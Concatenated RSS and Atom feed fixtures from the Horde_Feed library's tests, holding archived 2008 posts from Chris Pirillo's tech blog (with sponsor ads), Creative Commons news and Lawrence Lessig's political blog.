    Audiko is a free service that will help you create your own ringtone, using any song of your choosing. Simply upload your favorite song (or enter a URL to it) and choose the song fragment you wish to have for the ringtone. Click a button and presto! Download your new ringtone. You can also post the ringtone on your blog if you’d like, to share with your friends. Not sure what you’re looking for? Try doing a search on the site. They have many lists full of popular songs, as well as all of the ringtones that others have already created.

    I know, you’re thinking that you don’t have an iPhone… so why would you need this site? Well, you’re in luck. No matter what phone you use, you can use this site. Your file will save in several different formats, so you’ll find one that works for you. I bet you anything you’re going to love this site, especially if you happen to have an iPhone.

    What’s your current ringtone, and where did you get it?

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    Do You Want to Make your own iPhone Ringtone for Free?

    ]]>     http://chris.pirillo.com/2008/07/16/do-you-want-to-make-your-own-iphone-ringtone-for-free/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F16%2Fdo-you-want-to-make-your-own-iphone-ringtone-for-free%2F     What Software do you use for Digital Photos? http://chris.pirillo.com/2008/07/16/what-software-do-you-use-for-digital-photos/ http://chris.pirillo.com/2008/07/16/what-software-do-you-use-for-digital-photos/#comments Thu, 17 Jul 2008 03:55:46 +0000 Chris http://chris.pirillo.com/?p=7648 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed Believe it or not, I have been accused of never talking about Windows. That&#8217;s an illusion. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    Believe it or not, I have been accused of never talking about Windows. That’s an illusion. Apparently, there’s just not a lot of interesting Windows software out there anymore. If there is… you’re not telling me about it. How can I let everyone know about cool programs like this one if you don’t point me towards them? Send me links to the cool stuff you find, and I’ll be happy to talk about it.

    PictoMio is more than just a digital photo manager. It happens to be a full-on suite of tools to help you clean up and organize your digital photos and videos. You can think of this as the way Picasa should be. Don’t get me wrong, I’ve been using Picasa for years. But, Picasa has kind of fallen flat. They kind of stopped developing it. And now, along comes the free PictoMio, available for Windows only.

    Pictomio easily manages thousands of media intensive image and video archives and groups your media according to orientation, time, type, size, rating, etc. Finally a tool to directly manage your videos. Along with viewing Thumbnails you can also rotate and zoom video. With the Library you can display photos by the date taken and EXIF values (e.g. type of camera) as well as sorted by category and album. With the integrated EXIF editor (Exchangeable image file format) you can see, edit and save the meta data of JPEG files.

    Albums and categories are virtual folders which you can use to arrange your pictures regardless of their location on the hard drive. Example album: “My best vacation pictures” Browse through your pictures With the visually engaging 3D picture Carousel. The direction of motion can be controlled by the mouse. Pictomio simplifies the production of slide shows for you by using a drag-and-drop interface. By Using the capabilities of 3D graphics cards you can also integrate elaborate page transitions.

    PictoMio is excellent software. It helps you work with your files to effectively and easily manage all of your digital files.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What Software do you use for Digital Photos?

    ]]>     http://chris.pirillo.com/2008/07/16/what-software-do-you-use-for-digital-photos/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F16%2Fwhat-software-do-you-use-for-digital-photos%2F     What is the Best iPhone Astronomy App? http://chris.pirillo.com/2008/07/16/what-is-the-best-iphone-astronomy-app/ http://chris.pirillo.com/2008/07/16/what-is-the-best-iphone-astronomy-app/#comments Thu, 17 Jul 2008 03:34:26 +0000 Chris http://chris.pirillo.com/?p=7647 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed One of the first things I bought from the App Store is a little program called Starmap. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    One of the first things I bought from the App Store is a little program called Starmap. I’m an amateur Astronomer, and just love checking things out in the Galaxy. Sometimes when I’m looking at the stars, I don’t know exactly what I’m looking at. That’s where Starmap could come in handy. The best thing about Starmap is that you can take it with you while stargazing, thanks to your iPhone.

    Pocket astronomers will find a screen that shows a sky full of planets, visible stars, named stars, galaxies, and nebulae, and coordinates that you can access and search for from an unobtrusive ribbon of icons. Sensitivity to the accelerometer tips the view vertically and horizontally, and you can pinch and pull the screen to get a closer look at the arrangement of the points of light.

    It’s a fair and interesting start, if not a bit static, and the land-locked dreamer in me sees many more interactive possibilities as the tools and technology progress–like a real-time night mode that uses the camera as a telescope to automatically fix the star chart around you and a Wikipedia plug-in that spoon-feeds you information about what you’re looking at. You know, the kinds of extras you’d expect from Google Earth.

    Indeed, this is a powerful app. The problem is that at times, it’s unresponsive. As far as I’m concerned, it’s just unusable. When it does respond, it responds so slowly, that I can’t even tell if the app is working anymore. That’s inexcusable. For $12.00, I certainly expected more. For an application to behave like this is totally not right. The idea behind Starmap is phenominal, however… it wasn’t programmed very well. When I try to go back to the home page… the iPhone completely locks up.

    So there you have it. While the programmers may have had good intentions, they have some work to do for this to be a viable app. Tell me, what other Astronomy app would you recommend for me to try out? If you’ve had a difference experience with Starmap than I did, please let me know.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What is the Best iPhone Astronomy App?

    ]]>     http://chris.pirillo.com/2008/07/16/what-is-the-best-iphone-astronomy-app/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F16%2Fwhat-is-the-best-iphone-astronomy-app%2F     Online Web Conferencing for Meetings Tired of business travel? Conduct meetings online with <a href="http://www.GoToMeeting.com/ChrisPirillo">GoToMeeting</a> instead. We've been using it for quite some time for both personal and professional projects - it's worked like a charm! If you're an independent consultant, you owe it to your clients to start using <a href="http://www.GoToMeeting.com/ChrisPirillo">collaboration software</a> for Web-based interaction. <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=R2FJ3y"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=R2FJ3y" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=ndE7MmE"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=ndE7MmE" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=PcV1gXe"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=PcV1gXe" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://www.GoToMeeting.com/ChrisPirillo http://www.GoToMeeting.com/ChrisPirillo http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fwww.GoToMeeting.com%2FChrisPirillo Network Tools for Windows You need these network tools, no matter which operating systems and networks you have to support. <a href="http://support.solarwinds.com/updates/New-Customer.cfm?ProdID=568&campaign=ipmon_DL_lockergnome&CMP=BAC-ipmonDL_lockergnome">SolarWinds ipMonitor</a>: Affordable Network Monitoring for SMBs. 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Over the years, I developed pulpuslaceratapohobia - and the only known cure for that is <a href="http://audiblepodcast.com/chris">Audible</a>. Finally, a way to digest words without actually having to read them. Professional voices are wonderful choices if you love literary works in audio format. Are you ready to read some <a href="http://audiblepodcast.com/chris">audio books</a>? Maybe you should just listen to them instead. <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=xOm7Us"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=xOm7Us" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=3PHW1QE"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=3PHW1QE" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=EAktwRe"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=EAktwRe" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://audiblepodcast.com/chris http://audiblepodcast.com/chris http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Faudiblepodcast.com%2Fchris VMware and Parallels for Virtual Machines It doesn't matter if you're running on Windows or Mac OS X - every power user needs either <a href="http://send.onenetworkdirect.net/z/13766/rn_a32755/">Parallels</a> or <a href="http://send.onenetworkdirect.net/z/17081/rn_a32755/">VMware</a> (or both). There's never been an easier way to test software without destroying your primary operating system's stability. Think of how many times you wish you could press a 'reverse' button on your computer. Plus, there's no easier way to try new Linux distributions - see what all the fuss is about. Run Windows in OS X, run Linux in Windows, but the best way to do either is with <a href="http://send.onenetworkdirect.net/z/17081/rn_a32755/">VMware</a> and/or <a href="http://send.onenetworkdirect.net/z/13766/rn_a32755/">Parallels</a>. <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=hNFswP"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=hNFswP" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=2nafMRE"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=2nafMRE" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=F2AAVQe"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=F2AAVQe" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://chris.pirillo.com/2008/02/19/parallels-or-vmware/ http://chris.pirillo.com/2008/02/19/parallels-or-vmware/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F02%2F19%2Fparallels-or-vmware%2F Screen Capture for Multi-taskers <a href="http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01">SnagIt</a> 9 works like you work! Capture, edit and share images from your PC screen without breaking stride: stores captures automatically whether you saved them or not; new visual search panel lets you find captures easily whenever you need them. <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=Ppb07t"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=Ppb07t" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=HnhoPI"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=HnhoPI" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=FX4Kmi"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=FX4Kmi" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Tue, 10 Jun 2008 06:30:00 GMT http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01 http://www.techsmith.com/featured/2008/snagit/v9launch/?cmp=LockS01 http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fwww.techsmith.com%2Ffeatured%2F2008%2Fsnagit%2Fv9launch%2F%3Fcmp%3DLockS01 Screencast Software <a href="http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1">Camtasia Studio</a> is the smart, friendly screen recorder (and more). With it, you can create stunning videos with a great degree of ease. Download the <a href="http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1">free trial</a> now and in no time you'll be sharing buzz-worthy screencasts, persuasive presentations, training that ROCKS, and demos that sell. Show exactly what's on your screen to anyone, anywhere. Record your screen, audio, and/or webcam! Make them wonder how you did it. <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=xTUok7"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=xTUok7" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=sJiyslT5"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=sJiyslT5" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=FfaNwnb"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=FfaNwnb" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Sat, 12 Jul 2008 06:30:00 GMT http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1 http://www.techsmith.com/camtasia.asp?cmp=LkrgCS1 http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fwww.techsmith.com%2Fcamtasia.asp%3Fcmp%3DLkrgCS1 Coupons for Online Shopping <p style="color: red">This feed is fueled by Lockergnome <a href="http://www.lockergnome.com/buy/">Online Shopping and Coupon Codes</a></p> <p> Before you shop next time, see if we have <a href="http://coupons.lockergnome.com/">a coupon</a> first. </p> <p><a href="http://feeds.pirillo.com/~a/ChrisPirillo?a=EA1oM8"><img src="http://feeds.pirillo.com/~a/ChrisPirillo?i=EA1oM8" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=EZJWxJ"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=EZJWxJ" border="0"></img></a> <a href="http://feeds.pirillo.com/~f/ChrisPirillo?a=UiYuqj"><img src="http://feeds.pirillo.com/~f/ChrisPirillo?i=UiYuqj" border="0"></img></a> </div> chris@lockergnome.com (Chris Pirillo) Partner Sat, 12 Jul 2008 07:56:13 GMT http://coupons.lockergnome.com/ http://coupons.lockergnome.com/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fcoupons.lockergnome.com%2F http://api.feedburner.com/awareness/1.0/GetFeedData?uri=ChrisPirillo         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-creativecommons.org-weblog-rss0000664000175000017500000010561712653701626026772 0ustar janjan Creative Commons » CC News http://creativecommons.org Share, reuse, and remix — legally. Tue, 22 Jul 2008 15:14:27 +0000 http://wordpress.org/?v=2.5.1 en Reminder: CC Salon NYC is Wednesday Night http://creativecommons.org/weblog/entry/8503 http://creativecommons.org/weblog/entry/8503#comments Tue, 22 Jul 2008 15:14:27 +0000 Fred Benenson http://creativecommons.org/?p=8503 CC Salon NYC Logo

    Just a quick reminder that CC Salon NYC is happening tomorrow night. July’s salon will feature presentations from Wikia Search, Livable Streets Network, and a special performance from comedian Max Silvestri (of Gabe + Max’s Internet Thing).

    Here are the details:

    Wednesday, July 23rd from 7-10pm
    The Open Planing Project
    349 W. 12th St., 1st Floor

    We’ll have free (as in beer) beer sponsored by Brooklyn Brewery. Don’t miss this great opportunity to be a part of the CC community in NYC and learn about some great projects and people thinking about the issues we care about.

    Follow the event via Upcoming.org and RSVP via the Facebook event or e-mailing me - fred [at] creativecommons.org

    ]]>     http://creativecommons.org/weblog/entry/8503/feed     Remix Kidz in the Hall and Tyga at Jamglue http://creativecommons.org/weblog/entry/8500 http://creativecommons.org/weblog/entry/8500#comments Mon, 21 Jul 2008 19:42:36 +0000 Cameron Parkins http://creativecommons.org/?p=8500 Jamglue - featured commoner, remix contest holder extraordinaire - have delivered again with two awesome remix contests, one featuring rap-duo Kidz in the Hall and the other solo-artist Tyga. Both contests feature song stems for both artists’ current singles - “Driving Down the Block” and “Coconut Juice” respectively - released under a CC BY-NC-SA license. As we have noted before, by using CC licences Jamglue allows artists to open up their content to fans in a way that not only allows for positive interaction and creation, but also maintains the commercial interests of the artists at hand.

    Unfortunately, the entry date for the Tyga contest has passed (which doesn’t mean you can’t remix it - just not for a prize). Entries for The Kidz in the Hall contest are due by August 17, giving you plenty of time to rearrange and pick apart their music, crafting your own creation in the process.

    ]]>     http://creativecommons.org/weblog/entry/8500/feed     George Eastman House, Bibliothèque de Toulouse Join Flickr Commons http://creativecommons.org/weblog/entry/8497 http://creativecommons.org/weblog/entry/8497#comments Mon, 21 Jul 2008 18:58:59 +0000 Cameron Parkins http://creativecommons.org/?p=8497

    Dans les jardins de Monte-Carlo | No known copyright restrictions.

    Two more amazing photo collections have been added to the continuously growing Flickr Commons, one coming from the George Eastman House and the other from Le Bibliothèque de Toulouse. Both groups’ photostreams are absolutely amazing to pour over, offering stunning images from the turn of the century that are all released in the public domain. Again, in case you have missed any of our other posts on the Flickr Commons, some info below:

    The key goals of The Commons are to firstly give you a taste of the hidden treasures in the world’s public photography archives, and secondly to show how your input and knowledge can help make these collections even richer. You’re invited to help describe the photographs you discover in The Commons on Flickr, either by adding tags or leaving comments

    The rest of the institutions on the Flickr Commons have all recently added new photos as well, increasing the worth of an already phenomenal resource.

    ]]>     http://creativecommons.org/weblog/entry/8497/feed     Empowering economics of ‘net native’ music http://creativecommons.org/weblog/entry/8496 http://creativecommons.org/weblog/entry/8496#comments Mon, 21 Jul 2008 01:01:40 +0000 Mike Linksvayer http://creativecommons.org/?p=8496 Lucas Gonze:

    Now consider that internet music businesses have to compete for investment capital with internet businesses that don’t pay royalties. Craigslist, Google search, and Twitter do nothing but move bits around!

    Lastly, returning to the conversation about netlabels the other day, I want to point out that netlabel and other net-native music doesn’t have a lot of listeners, but as long as it stays clear of copyright infringement it can have economics just like Craiglist, Twitter etc. Maybe not at that scale, but definitely at that level of profitability.

    And I know that people on the business side of internet music see net-native music as a joke. That’s right big shots, I’m talking to you specifically. Make free and legal music popular enough for your traffic to scale and you can have the grail — an internet music product that makes sense as a business. Which is exactly what Phlow-Magazine is working on by slicking up the presentation of those sources.

    Victor Stone comments on the above post:

    Maybe not at that scale, but definitely at that level of profitability.

    Does anybody, anywhere doubt that at some point

    1) a ‘net native’ artist will actual break. iow, do we really think Brad Sucks has hit the ceiling?

    2) when that artist breaks without any “industry” juice, not even sxsw, the margins will be ginormous, the flood gates will open.

    These things are stupendously obvious things to me. Does anybody out there question these certainties?

    Relatedly, Gonze posting on the cc-community list:

    In reality, the benefit [of allowing commercial use] is to maximize upsales by empowering businesses to build support systems for your music.

    I highly recommend following the blogs of Gonze and Stone if you want to know where ‘net native’ (and eventually most) music is going.

    ]]>     http://creativecommons.org/weblog/entry/8496/feed     ccLearn (bi)monthly update - July 18, 2008 http://creativecommons.org/weblog/entry/8495 http://creativecommons.org/weblog/entry/8495#comments Fri, 18 Jul 2008 18:58:24 +0000 Ahrash Bissell http://creativecommons.org/?p=8495 June slipped by before we knew what was happening, so this is a two-month update. These past two months have seen ccLearn giving a presentation at CSU Sacramento relating open education and universal design, attending the first CC tech summit, and plowing along on the various projects already underway. Also, we welcomed a summer intern, Grace Armstrong, who is coordinating with CCi and open education leaders in Latin America and beyond on holding meetings and identifying promising collaborative opportunities. More on this later this summer.

    We have also released a great mapping tool for identifying upcoming open educational events, now found on ccLearn’s home page. What is unique about this tool is that the data are derived from a wiki-table, and anyone can contribute or edit event info. We encourage you to add any events relevant to open education that you may be aware of. We intend to re-purpose this tool for other mapping exercises as well, and since it is open source, like everything Creative Commons builds, you can also use it for your own mapping needs. One idea that has already been discussed is “mapping the open educational space” at the upcoming iSummit… this exercise could take many forms, and the open, collaborative nature of the wiki allows for a lot of creativity in how the map takes shape.

    Look for other developments and research projects to come to fruition in the coming month. The days are getting shorter here in the Northern Hemisphere, but the fire season has just begun.

    -Ahrash

    ]]>     http://creativecommons.org/weblog/entry/8495/feed     “then you win” http://creativecommons.org/weblog/entry/8489 http://creativecommons.org/weblog/entry/8489#comments Fri, 18 Jul 2008 18:39:05 +0000 Cameron Parkins http://creativecommons.org/?p=8489

    “then you win” is an initiative aiming to release a series of documentaries that focus on international development issues under a spectrum of CC licenses. The documentaries are produced by Loin de l’Œil, a voluntary association in France, and will be released under Yooook, an open content platform project under development run by Camille Harang. You can read more about the project here.

    With active donations, “then you win” will move these documentaries from All Rights Reserved into more open licenses - from BY-NC-ND to BY-NC-SA to BY-SA. The more money donated to the project, the more open these documentaries become. The hope is that with a more open license (the project is already powered by a suite of open source solutions) the documentaries will gain more exposure, greatly increasing the impact they are able to achieve.

    ]]>     http://creativecommons.org/weblog/entry/8489/feed     ccMixter to the max Q&A; proposals due July 29 http://creativecommons.org/weblog/entry/8492 http://creativecommons.org/weblog/entry/8492#comments Fri, 18 Jul 2008 04:12:12 +0000 Mike Linksvayer http://creativecommons.org/?p=8492 May 29 we announced that we are accepting proposals for a new home for ccMixter, the innovative remix-oriented music community that Creative Commons has run since late 2004. The Request For Proposals was covered many places, including Advertising Age, Boing Boing, and WIRED as well as discussed on the ccMixter forums. Proposals are due July 29 and must be emailed to ccmixter-rfp@creativecommons.org. Questions are welcome at the same address.

    We’ve received numerous questions since posting the RFP, which we’ve distilled into the Q&A below.

    Before getting to the Q&A, check out (or come back to) some cool ccMixter and related developments over the last month: new site features galore, new developer features, a call for remixes from Shannon Hurley, a new weekly show featuring MC Jack in the Box’s ccMixter picks and of course lots of great new music.

    ccMixter RFP Q&A

    Why is CC doing this?

    This is answered clearly (if dryly) in the RFP (emphasis added):

    ccMixter.org was launched by CC in November 2004 to demonstrate legal mixing and reuse of music content, one area in which CC licenses have found firm footing and support. CC believes that ccMixter.org has fulfilled its initial mission of concretely demonstrating “legal reuse.” However, running a community music site is not one of CC’s core competencies, and accordingly, CC’s Board of Directors has decided that ccMixter should be transitioned to another person or entity with the necessary resources and expertise for ccMixter to continue to grow and reach its full potential.

    In other words, we think ccMixter has the potential to “blow up” — in the right hands.

    Does CC own all IP contained in proposals?

    No. Section 3.2(c) of the RFP says, “All RFP responses, supporting materials, and other documentation submitted with responses will become the property of CC.” Our intent is not that CC become the owner or assignee of any intellectual property conceptualized or contained in a proposal response, only that CC needs to retain a record and copy of everything that’s submitted (for audit purposes, etc.).

    What did Lessig really mean by “free”, “no ads”, “.org”, and “no variances”?

    Appendix B to the RFP restates (verbatim) the criteria articulated by Larry Lessig for spinning out ccMixter to a new home.

    “Free” means the entity does have to provide current ccMixter services at no charge, but does not prohibit it from providing “pro” services to users at another, related site. The related site can be linked to from the ccMixter website.

    “No ads” means the free ccMixter site cannot have ads.

    “.org” means the site will be served from a “.org” domain, but more importantly, have a “no ads” face, though the site content could be served from other domains as well, consistent with the license(s) the content falls under.

    “No variances” will be considered from the spirit of the principles Larry articulated, but admittedly those principles leave some room for interpretation. We may need to refine those points in negotiation depending on the ideas contained in the proposals. But the over-arching and guiding intent is to ensure the ccMixter website remains a community environment where remixers can do their thing, legally, and not suffer abuse or feel that the essence of their community or the terms governing their participation have changed. We’re happy to review proposal ideas and drafts and provide feedback on whether the direction envisioned is tenable. This isn’t a matter of throwing one over the transom and hoping it isn’t immediately disqualified … if you’re interested in submitting a proposal, let’s talk.

    What is the activity level of the site?

    Probably the best window into how the site is used is on the ccMixter stats page.

    Over the last 30 days, ccMixter has 333,871 pageviews in 58,158 visits from 39,234 visitors (according to Google Analytics).

    Alexa, Compete.com, and Quantcast provide publicly available traffic indicators.

    How much does it cost to run ccMixter?

    The technical answer is that the site currently runs on one box, currently hosted at ServerBeach for $229/month, including bandwidth (2000GB/month). A <$10/month Dreamhost account is used to help with bandwidth. The other cost, much larger, has been its people. That basically means Victor (who has to date performed services at well below market rate) and a small amount of legal/finance/hr/management overhead from CC.

    All this said, the question we encourage proposers to be thinking about is not “what does it cost CC, a non profit, to run ccMixter today?” The circumstances of our development and maintenance of the site in its current form should only inform, not drive or be relied upon in determining, costs going forward.

    The question you really should be asking is “what would ccMixter cost [your name here] to run?”, which will be largely determined by your vision for its future.

    The reason is simple. For almost every case, the current cost to CC does not translate to what ccMixter would cost somebody because the CC infrastructure of lawyers, accountants, tech staff, etc. would all need to replicated. And the “market value” of the very valuable work Victor performs at a cut rate for CC almost certainly will not translate to your real world scenario.

    So the answer to this inquiry really depends in what kind of infrastructure you have at your organization, and even more importantly on your vision and plans for the site.

    …

    Remember, proposals are due July 29 to ccmixter-rfp@creativecommons.org! Please read the RFP carefully if you are considering submitting.

    ]]>     http://creativecommons.org/weblog/entry/8492/feed     Digital Copyright Slider http://creativecommons.org/weblog/entry/8491 http://creativecommons.org/weblog/entry/8491#comments Fri, 18 Jul 2008 01:19:05 +0000 Jane Park http://creativecommons.org/?p=8491 Thanks to The Wired Campus, I stumbled across this nifty digital copyright tool developed by the American Library Association’s Copyright Advisory Network (in the Office for Information Technology Policy). The ALA Copyright Advisory Network is dedicated to educating librarians and others on copyright, something that is no simple matter, since, “with copyright, there are no definitive answers.”

    Check out the digital copyright slider. The tool itself is pretty simple. You basically slide the arrow up and down the years starting from “Before 1923″. The boxes on the left (Permission Needed? and Copyright Status/Term) tell you whether a work is still copyrighted or whether it’s now in the public domain, free for you to use and repurpose any way you like. Unfortunately, actually figuring out the copyright status of a work isn’t so simple as dragging your mouse—most of the years seem to be marked by a fuzzy period of “Maybe”. For example, say John Doe wrote and published a poem between 1964-1977 and you are able to find a copyright notice—you still can’t really figure out whether the copyright still applies. And if you can’t find a copyright notice? Well, you just don’t know then either. The same answer (don’t know) seems to apply to a lot of years here…

    Props to the ALA for illuminating the incredible complications in US copyright (yeah, that’s right—this sliding scale also only applies to works published within the US). And double props for licensing their tool CC BY-NC-SA. I leave you now with this thought:


    Photo licensed CC BY-NC by Nancy

    ]]>     http://creativecommons.org/weblog/entry/8491/feed     Archive.org Releases Improved Uploading Interface http://creativecommons.org/weblog/entry/8490 http://creativecommons.org/weblog/entry/8490#comments Thu, 17 Jul 2008 22:24:42 +0000 Tim Hwang http://creativecommons.org/?p=8490

    Prominent Free Culture activist, ROFLCon-ite, and close CC friend Dean Jansen blogged recently about Archive.org’s new absolutely amazingly easy-to-use new interface for uploading media. As he writes,

    This is great news, as Archive.org has historically been notoriously difficult to publish to. I’m encouraging them to go one step further and add easily accessible RSS links (with media enclosures) for users, categories, searches and so forth. This will turn Archive.org into an amazing free 1-stop (non-profit) publishing platform for independent podcasters and video bloggers alike.

    Very cool. It currently only works for things less than 100 MB, and for anything larger, there’s the Creative Commons Publisher Tool. Check it out!

    ]]>     http://creativecommons.org/weblog/entry/8490/feed     CC Salon LA Follow-Up http://creativecommons.org/weblog/entry/8483 http://creativecommons.org/weblog/entry/8483#comments Thu, 17 Jul 2008 17:45:12 +0000 Cameron Parkins http://creativecommons.org/?p=8483

    3 weeks ago we had an amazing experience putting on the CC Salon LA. Presenters Curt Smith and Monk Turner spoke eloquently about why they have used CC and it seemed a shame that their words were constricted solely to the space of FOUND Gallery. Thankfully we recorded the presentations and, after editing for brevity, we were able to post them online. Check them out below:

    Curt Smith’s Presentation:

    Monk Turner’s Presentation:

    All the videos are released under a CC BY license and you can download them in their raw format at either vimeo or blip.tv. Similarly, we will be posting the unedited presentations to Archive.org in the coming days. You can also see a Flickr photoset of the night.

    CC Salons are one of the best ways we have found for people to better understand how CC works and what we do - hopefully by taking these presentations online, they can educate an even wider audience.

    ]]>     http://creativecommons.org/weblog/entry/8483/feed     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-cyberlaw.stanford.edu-lessig-blog-index.rdf0000664000175000017500000007074712653701626031220 0ustar janjan Lessig Blog tag:lessig.org,2008:/blog/1 2008-09-21T14:44:08Z Movable Type 3.35 Traveforchange.org tag:lessig.org,2008:/blog//1.3602 2008-09-21T14:43:24Z 2008-09-21T14:44:08Z Some Stanford alumni have started a travel project for Obama, TraveforChange.org. The basic idea -- use frequent flyer miles to help Obama volunteers get to places where they can do some good. Some Stanford alumni have started a travel project for Obama, TraveforChange.org. The basic idea -- use frequent flyer miles to help Obama volunteers get to places where they can do some good.

    ]]>     Protecting Whistleblowers tag:lessig.org,2008:/blog//1.3601 2008-09-20T04:57:36Z 2008-09-20T17:50:47Z Whistle-Safe.org is a site designed to lower to cost of whistleblowers coming forward, by offering to protect their anonymity. In this climate of a scandal a day, useful progress. Whistle-Safe.org is a site designed to lower to cost of whistleblowers coming forward, by offering to protect their anonymity. In this climate of a scandal a day, useful progress.

    ]]>     John McCain invented the BlackBerry tag:lessig.org,2008:/blog//1.3600 2008-09-16T15:16:35Z 2008-09-16T15:21:12Z From Politico:Asked what work John McCain did as Chairman of the Senate Commerce Committee that helped him understand the financial markets, the candidate's top economic adviser wielded visual evidence: his BlackBerry. "He did this," Douglas Holtz-Eakin told reporters this morning, holding up his BlackBerry. From Politico:
    Asked what work John McCain did as Chairman of the Senate Commerce Committee that helped him understand the financial markets, the candidate's top economic adviser wielded visual evidence: his BlackBerry.

    "He did this," Douglas Holtz-Eakin told reporters this morning, holding up his BlackBerry.

    ]]>     4DEMs, 4GOPs: CHANGE we (all) can push for tag:lessig.org,2008:/blog//1.3599 2008-09-11T19:13:24Z 2008-09-11T19:48:07Z Earmarks petition|Lobbyist petition mp4 version|mp4 version

    Earmarks petition|Lobbyist petition
    mp4 version|mp4 version

    ]]>     the wrong in earmarks tag:lessig.org,2008:/blog//1.3598 2008-09-11T18:18:33Z 2008-09-11T18:19:51Z SusanG at the DailyKos has a callout for John Cole's post about earmarks. As Cole put's it: The total national debt, as I write this, is $9,679,000,000,000.00 (nine and a half trillion). The Budget for 2008 is close to $3,000,000,000,000.00 (three trillion). Our budget deficit for this year is going to range in between $400-500,000,000,000.00 (four hundred to five hundred billion, give or take a few billion). The total value of earmarks in 2008 will be approximately $18,000,000,000.00 (eighteen billion). In other words, when McCain talks about earmarks, he is talking about 3% of our annual budget deficit, .6% of our annual budget, and a number too small to even report when discussing our national debt. Or, put another way, he is talking about two months in Iraq, something he wants to keep going indefinitely. Not only are they lying about Palin’s involvements with earmarks, they are just not being serious about the horrible economic problems we face. These are not serious people. I think this is missing the point. True, earmarks are small potatoes. But the problem with earmarks is that they've become an engine of corruption. The explosion after the Republicans took over under Newt was because they were a newly deployed source of influence, designed (too often) to induce or repay a gift (or what others call, a campaign contribution). Liberals should be as upset with this as conservatives (though for different reasons no doubt). And we should especially (imho) resist the "if McCain believes it it must be wrong" trope. McCain is right to criticize earmarks. Whether he (or Palin) can do it credibly is a separate matter. SusanG at the DailyKos has a callout for John Cole's post about earmarks. As Cole put's it:
    The total national debt, as I write this, is $9,679,000,000,000.00 (nine and a half trillion).

    The Budget for 2008 is close to $3,000,000,000,000.00 (three trillion).

    Our budget deficit for this year is going to range in between $400-500,000,000,000.00 (four hundred to five hundred billion, give or take a few billion).

    The total value of earmarks in 2008 will be approximately $18,000,000,000.00 (eighteen billion).

